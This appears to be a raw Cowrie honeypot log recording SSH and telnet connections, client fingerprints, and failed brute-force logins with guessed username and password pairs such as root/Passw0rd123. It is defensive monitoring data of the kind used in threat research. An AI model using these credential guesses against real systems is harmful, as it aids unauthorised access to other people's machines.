{"eventid":"cowrie.session.closed","duration":36.049835205078125,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:07:53.890630Z","src_ip":"188.166.220.49","session":"875917ce50c2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.54409074783325,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:07:54.001252Z","src_ip":"188.166.220.49","session":"1a523bff18b7","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"admin","password":"31415926","message":"login attempt [admin/31415926] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:07:54.085628Z","src_ip":"103.148.100.146","session":"10df3d1a1273","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:07:55.354638Z","src_ip":"103.148.100.146","session":"10df3d1a1273","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"188.166.220.49","src_port":37350,"dst_ip":"159.203.135.109","dst_port":23,"session":"045ee52c25d1","protocol":"telnet","message":"New connection: 188.166.220.49:37350 (159.203.135.109:23) [session: 045ee52c25d1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:07:55.415808Z"}
{"eventid":"cowrie.session.connect","src_ip":"188.166.220.49","src_port":44768,"dst_ip":"159.203.135.109","dst_port":23,"session":"d5ea55f0fe2b","protocol":"telnet","message":"New connection: 188.166.220.49:44768 (159.203.135.109:23) [session: d5ea55f0fe2b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:08:00.431444Z"}
{"eventid":"cowrie.session.closed","duration":34.96508193016052,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:08:00.835201Z","src_ip":"188.166.220.49","session":"2a4f81567ae3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.30079412460327,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:08:01.889261Z","src_ip":"188.166.220.49","session":"3a72ea5701ed","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"188.166.220.49","src_port":47088,"dst_ip":"159.203.135.109","dst_port":23,"session":"012dc91775d5","protocol":"telnet","message":"New connection: 188.166.220.49:47088 (159.203.135.109:23) [session: 012dc91775d5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:08:02.169539Z"}
{"eventid":"cowrie.session.closed","duration":36.12233877182007,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:08:02.314152Z","src_ip":"188.166.220.49","session":"5697f4bd3b37","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"188.166.220.49","src_port":47376,"dst_ip":"159.203.135.109","dst_port":23,"session":"935a651109b0","protocol":"telnet","message":"New connection: 188.166.220.49:47376 (159.203.135.109:23) [session: 935a651109b0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:08:02.407223Z"}
{"eventid":"cowrie.session.closed","duration":36.3598837852478,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:08:02.546473Z","src_ip":"188.166.220.49","session":"e426ed8e9871","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.00102996826172,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:08:02.890520Z","src_ip":"188.166.220.49","session":"571d0790d6b0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.00953006744385,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:08:03.671418Z","src_ip":"188.166.220.49","session":"6275848adfd2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":37.40658974647522,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:08:04.094297Z","src_ip":"188.166.220.49","session":"6cf0e2cff125","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.78.208.179","src_port":33610,"dst_ip":"159.203.135.109","dst_port":22,"session":"baf4858884b8","protocol":"ssh","message":"New connection: 45.78.208.179:33610 (159.203.135.109:22) [session: baf4858884b8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:08:04.539418Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:08:04.543319Z","src_ip":"45.78.208.179","session":"baf4858884b8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:08:04.786220Z","src_ip":"45.78.208.179","session":"baf4858884b8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"M3gaP33!","message":"login attempt [ubuntu/M3gaP33!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:08:05.792896Z","src_ip":"45.78.208.179","session":"baf4858884b8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:08:07.039131Z","src_ip":"45.78.208.179","session":"baf4858884b8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":37.29321312904358,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:08:08.782315Z","src_ip":"188.166.220.49","session":"316f455b5420","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"188.166.220.49","src_port":56992,"dst_ip":"159.203.135.109","dst_port":23,"session":"c3aaeb17e27d","protocol":"telnet","message":"New connection: 188.166.220.49:56992 (159.203.135.109:23) [session: c3aaeb17e27d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:08:09.213948Z"}
{"eventid":"cowrie.session.closed","duration":34.57122540473938,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:08:10.526650Z","src_ip":"188.166.220.49","session":"0d32b428d2dd","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"188.166.220.49","src_port":38520,"dst_ip":"159.203.135.109","dst_port":23,"session":"ac6e75aea58f","protocol":"telnet","message":"New connection: 188.166.220.49:38520 (159.203.135.109:23) [session: ac6e75aea58f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:08:15.957559Z"}
{"eventid":"cowrie.session.closed","duration":34.97678804397583,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:08:17.381772Z","src_ip":"188.166.220.49","session":"fcc1ad3111a0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"188.166.220.49","src_port":48768,"dst_ip":"159.203.135.109","dst_port":23,"session":"a688daffe0aa","protocol":"telnet","message":"New connection: 188.166.220.49:48768 (159.203.135.109:23) [session: a688daffe0aa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:08:23.681112Z"}
{"eventid":"cowrie.session.connect","src_ip":"188.166.220.49","src_port":49456,"dst_ip":"159.203.135.109","dst_port":23,"session":"8b970d710aa7","protocol":"telnet","message":"New connection: 188.166.220.49:49456 (159.203.135.109:23) [session: 8b970d710aa7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:08:24.122067Z"}
{"eventid":"cowrie.session.connect","src_ip":"132.148.164.18","src_port":42008,"dst_ip":"159.203.135.109","dst_port":23,"session":"ecaa4464844d","protocol":"telnet","message":"New connection: 132.148.164.18:42008 (159.203.135.109:23) [session: ecaa4464844d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:08:25.627541Z"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":43426,"dst_ip":"159.203.135.109","dst_port":22,"session":"4fff22cd3c5b","protocol":"ssh","message":"New connection: 159.203.92.129:43426 (159.203.135.109:22) [session: 4fff22cd3c5b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:08:26.079370Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:08:26.084389Z","src_ip":"159.203.92.129","session":"4fff22cd3c5b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:08:26.089179Z","src_ip":"159.203.92.129","session":"4fff22cd3c5b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"nimda","message":"login attempt [admin/nimda] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:08:26.099034Z","src_ip":"159.203.92.129","session":"4fff22cd3c5b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:08:27.103993Z","src_ip":"159.203.92.129","session":"4fff22cd3c5b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":35.35104250907898,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:08:28.440224Z","src_ip":"188.166.220.49","session":"fb9ae4f36d85","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.386674880981445,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:08:30.802368Z","src_ip":"188.166.220.49","session":"045ee52c25d1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"188.166.220.49","src_port":36404,"dst_ip":"159.203.135.109","dst_port":23,"session":"d3a44d9152dc","protocol":"telnet","message":"New connection: 188.166.220.49:36404 (159.203.135.109:23) [session: d3a44d9152dc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:08:34.296013Z"}
{"eventid":"cowrie.session.connect","src_ip":"223.197.186.7","src_port":25833,"dst_ip":"159.203.135.109","dst_port":22,"session":"8aac99955bae","protocol":"ssh","message":"New connection: 223.197.186.7:25833 (159.203.135.109:22) [session: 8aac99955bae]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:08:35.056842Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:08:35.061716Z","src_ip":"223.197.186.7","session":"8aac99955bae","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"188.166.220.49","src_port":36238,"dst_ip":"159.203.135.109","dst_port":23,"session":"7784decfb83a","protocol":"telnet","message":"New connection: 188.166.220.49:36238 (159.203.135.109:23) [session: 7784decfb83a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:08:35.230825Z"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:08:35.296416Z","src_ip":"223.197.186.7","session":"8aac99955bae","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":35.626426219940186,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:08:36.057729Z","src_ip":"188.166.220.49","session":"d5ea55f0fe2b","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"Passw0rd123","message":"login attempt [root/Passw0rd123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:08:36.200562Z","src_ip":"223.197.186.7","session":"8aac99955bae","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":35.179593563079834,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:08:37.348781Z","src_ip":"188.166.220.49","session":"012dc91775d5","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:08:37.416448Z","src_ip":"223.197.186.7","session":"8aac99955bae","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":35.684101819992065,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:08:38.091213Z","src_ip":"188.166.220.49","session":"935a651109b0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"188.166.220.49","src_port":47988,"dst_ip":"159.203.135.109","dst_port":23,"session":"bde34ec84e51","protocol":"telnet","message":"New connection: 188.166.220.49:47988 (159.203.135.109:23) [session: bde34ec84e51]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:08:42.845826Z"}
{"eventid":"cowrie.session.connect","src_ip":"188.166.220.49","src_port":48354,"dst_ip":"159.203.135.109","dst_port":23,"session":"da11c9f69453","protocol":"telnet","message":"New connection: 188.166.220.49:48354 (159.203.135.109:23) [session: da11c9f69453]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:08:43.056647Z"}
{"eventid":"cowrie.session.connect","src_ip":"188.166.220.49","src_port":49240,"dst_ip":"159.203.135.109","dst_port":23,"session":"bcc33a53f4d6","protocol":"telnet","message":"New connection: 188.166.220.49:49240 (159.203.135.109:23) [session: bcc33a53f4d6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:08:43.633893Z"}
{"eventid":"cowrie.session.connect","src_ip":"188.166.220.49","src_port":49620,"dst_ip":"159.203.135.109","dst_port":23,"session":"25f72422ed1a","protocol":"telnet","message":"New connection: 188.166.220.49:49620 (159.203.135.109:23) [session: 25f72422ed1a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:08:43.825548Z"}
{"eventid":"cowrie.session.closed","duration":34.65609526634216,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:08:43.869905Z","src_ip":"188.166.220.49","session":"c3aaeb17e27d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.76563096046448,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:08:50.722916Z","src_ip":"188.166.220.49","session":"ac6e75aea58f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"188.166.220.49","src_port":36140,"dst_ip":"159.203.135.109","dst_port":23,"session":"efaedd91db33","protocol":"telnet","message":"New connection: 188.166.220.49:36140 (159.203.135.109:23) [session: efaedd91db33]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:08:53.614313Z"}
{"eventid":"cowrie.session.connect","src_ip":"188.166.220.49","src_port":37184,"dst_ip":"159.203.135.109","dst_port":23,"session":"48afc61524ef","protocol":"telnet","message":"New connection: 188.166.220.49:37184 (159.203.135.109:23) [session: 48afc61524ef]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:08:54.322628Z"}
{"eventid":"cowrie.session.connect","src_ip":"188.166.220.49","src_port":37902,"dst_ip":"159.203.135.109","dst_port":23,"session":"4cee09909fd5","protocol":"telnet","message":"New connection: 188.166.220.49:37902 (159.203.135.109:23) [session: 4cee09909fd5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:08:54.707376Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.148.100.146","src_port":57658,"dst_ip":"159.203.135.109","dst_port":22,"session":"b4891a4b6a0b","protocol":"ssh","message":"New connection: 103.148.100.146:57658 (159.203.135.109:22) [session: b4891a4b6a0b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:08:55.921069Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:08:55.928649Z","src_ip":"103.148.100.146","session":"b4891a4b6a0b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:08:56.196140Z","src_ip":"103.148.100.146","session":"b4891a4b6a0b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.847476482391357,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:08:56.474887Z","src_ip":"132.148.164.18","session":"ecaa4464844d","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"Jd@123456","message":"login attempt [root/Jd@123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:08:57.289720Z","src_ip":"103.148.100.146","session":"b4891a4b6a0b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":33.660494565963745,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:08:57.341482Z","src_ip":"188.166.220.49","session":"a688daffe0aa","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.226274728775024,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:08:57.348253Z","src_ip":"188.166.220.49","session":"8b970d710aa7","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:08:58.561225Z","src_ip":"103.148.100.146","session":"b4891a4b6a0b","protocol":"ssh"}
